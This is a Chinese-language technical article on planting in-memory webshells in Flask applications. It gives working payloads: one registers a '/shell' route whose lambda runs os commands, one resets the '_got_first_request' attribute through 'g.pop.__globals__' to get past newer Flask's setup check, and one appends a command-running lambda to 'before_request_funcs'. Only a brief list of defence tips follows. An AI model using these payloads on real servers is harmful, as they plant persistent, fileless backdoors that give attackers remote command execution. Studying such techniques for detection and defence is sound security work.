Flask新版内存马技术分析与实现

1. 旧版Flask内存马原理

旧版Flask内存马主要通过add_url_rule方法动态注册路由实现：

def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None = None,
    **options: t.Any,
) -> None:

参数说明：

• rule: URL路径字符串，如'/users'或'/posts/int:id'
• endpoint: 路由端点名称，用于反向构建URL
• view_func: 处理请求的视图函数

旧版payload示例：

app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())

2. 新版Flask的限制机制

新版Flask引入了@setupmethod装饰器，防止应用启动后修改路由：

def setupmethod(f: F) -> F:
    f_name = f.__name__
    def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
        self._check_setup_finished(f_name)
        return f(self, *args, **kwargs)
    return t.cast(F, update_wrapper(wrapper_func, f))

关键检查函数_check_setup_finished:

def _check_setup_finished(self, f_name: str) -> None:
    if self._got_first_request:
        raise AssertionError(
            f"The setup method '{f_name}' can no longer be called"
            " on the application. It has already handled its first"
            " request, any changes will not be applied"
            " consistently.\n"
            "Make sure all imports, decorators, functions, etc."
            " needed to set up the application are done before"
            " running it."
        )

3. 解决方法一：修改_got_first_request属性

通过修改_got_first_request属性绕过检查：

g.pop.__globals__.__builtins__.setattr(
    g.pop.__globals__.sys.modules['__main__'].app,
    '_got_first_request',
    False
)

完整payload:

g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app,'_got_first_request',False)
app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())

4. 解决方法二：利用钩子函数机制

4.1 Flask请求钩子类型

Flask提供五种常用请求钩子：

1. before_first_request: 处理第一个请求前运行
2. before_request: 每次请求前运行
3. after_request: 请求后运行(无异常时)
4. teardown_request: 每次请求后运行(即使有错误)
5. teardown_appcontext: 应用上下文弹出前运行

4.2 before_request实现分析

before_request函数源码：

@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
    self.before_request_funcs.setdefault(None, []).append(f)
    return f

关键点：

• 使用@setupmethod装饰器
• 通过before_request_funcs字典存储钩子函数
• setdefault(None, [])表示适用于所有请求

4.3 钩子函数内存马payload

直接操作before_request_funcs字典：

app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())

5. 技术总结

1. 新旧版本差异：新版Flask通过@setupmethod装饰器限制运行时修改
2. 绕过方法：
   • 修改_got_first_request属性重置应用状态
   • 直接操作内部字典结构添加钩子函数
3. 实现要点：
   • 理解Flask内部状态管理机制
   • 掌握Python装饰器和钩子函数原理
   • 熟悉Python反射和属性操作

6. 防御建议

1. 监控应用关键属性的修改
2. 限制运行时动态代码执行
3. 检查异常请求处理函数
4. 实施最小权限原则

7. 扩展思考

1. 其他框架(如Django)的类似机制分析
2. 基于WSGI中间件的内存马实现
3. 无文件攻击的检测与防御
4. Python沙箱逃逸技术结合应用

通过深入理解Flask内部机制，可以更有效地进行安全防御和攻击检测。